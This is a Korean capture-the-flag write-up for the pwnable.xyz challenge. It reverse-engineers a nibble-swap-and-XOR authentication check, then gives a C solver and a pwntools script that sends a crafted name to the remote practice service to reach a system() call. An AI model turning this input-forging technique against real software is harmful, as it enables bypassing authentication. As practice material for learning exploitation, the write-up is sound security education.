How to Exploit

image

v4가 4이고 auth(&s)가 1을 반환하면 system함수를 호출할 수 있다.

image

auth 함수를 보면 for문을 돌며 복잡한 계산으로 s1을 만들고 그 s1과 s2의 값이 같으면 1을 반환한다. s2는 IDA에서 값을 볼 수 있다. 그렇다면 우리는 auth의 인자인 a1(=s)를 조작해서 s1을 s2와 동일한 값을 가지도록 하자.

Design the Payload

  1. Calculate a1
image

((*(_BYTE *)(a1 + i) >> 4) | 16 * *(_BYTE *)(a1 + i)) : 이는 *(a1+i)의 상위 4바이트와 하위 4바이트를 서로 바꾸는 것이다.

#include<cstdio>

int main(void){
  unsigned char s2[] = {0x11, 0xde, 0xcf, 0x10, 0xdf, 0x75, 0xbb, 0xa5,
               0x43, 0x1e, 0x9d, 0xc2, 0xe3, 0xbf, 0xf5, 0xd6,
               0x96, 0x7f, 0xbe, 0xb0, 0xbf, 0xb7, 0x96, 0x1d,
               0xa8, 0xbb, 0xa, 0xd9, 0xbf, 0xc9, 0xd, 0xff};
  unsigned char main[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0x83, 0xec, 0x50,
                 0x64, 0x48, 0x8b, 0x04, 0x25, 0x28, 0x00, 0x00,
                 0x00, 0x48, 0x89, 0x45, 0xf8, 0x31, 0xc0, 0xe8,
                 0x24, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x45, 0xc0};
  int i, j;
  unsigned char a1[32];
  unsigned char s1[32];
  for(i=0;i<32;i++){
      unsigned char x = s2[i]^main[i];
      unsigned char h = x/16;
      unsigned char l = x%16;
      a1[i] = l*16+h;
  }

  for(i=0;i<32;i++){
    printf("\\x%x", a1[i]);
  }

}

Exploit Code

from pwn import *
#p=process('./challenge')
p=remote('svc.pwnable.xyz', 30031)

s = '\x44\x69\x64\x5f\x79\x6f\x75\x5f\x72\x65\x61\x6c\x6c\x79\x5f\x6d\x69\x73\x73\x5f\x74\x68\x65\x5f\xc8\x54\x5f\x62\x7f\x44\x84\xf3'
p.sendlineafter('> ', '1')
p.sendlineafter('name: ', s)
p.sendlineafter('> ', '4')

p.interactive()

Capture The Flag

image

'Writeup [pwn] > pwnable.xyz' 카테고리의 다른 글

Welcome  (0) 2020.03.07
Two Targets - 2  (0) 2020.03.07
TLSv00  (0) 2020.03.07
Sub  (0) 2020.03.07
Note  (0) 2020.03.07

+ Recent posts